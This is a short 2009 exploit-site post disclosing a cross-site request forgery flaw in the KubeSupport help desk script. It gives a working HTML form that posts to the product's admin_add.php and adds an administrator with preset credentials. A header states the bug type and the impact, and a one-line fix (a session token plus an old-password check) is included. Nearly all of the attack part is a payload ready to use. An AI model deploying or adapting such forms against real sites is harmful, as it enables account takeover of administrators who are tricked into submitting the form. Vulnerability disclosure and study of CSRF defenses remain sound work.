KubeSupport ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > KubeSupport ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWH1RLPOOL
	Date : 13.09.2009 20:17:22
	# KubeSupport ~ XSRF Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author : CWH1RLPOOL \| Bug Researchers # Script Name : KubeSupport # Bug Type : XSRF # Infection : Yeni Admin Eklenebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form name=form1 method=post action=http://demos.kubelabs.com/KubeSupport/adm/admin_add.php> <input name=username type=Text class=textbox id=username style=width:60% value=cwhirlpool></td> <input name=password type=password class=textbox id=password style=width:60% value=cwhirlpool></td> <input name=Submit type=submit class=button value=Submit> <input name=Reset type=reset class=button value=Reset> </form> < -- bug code end of -- >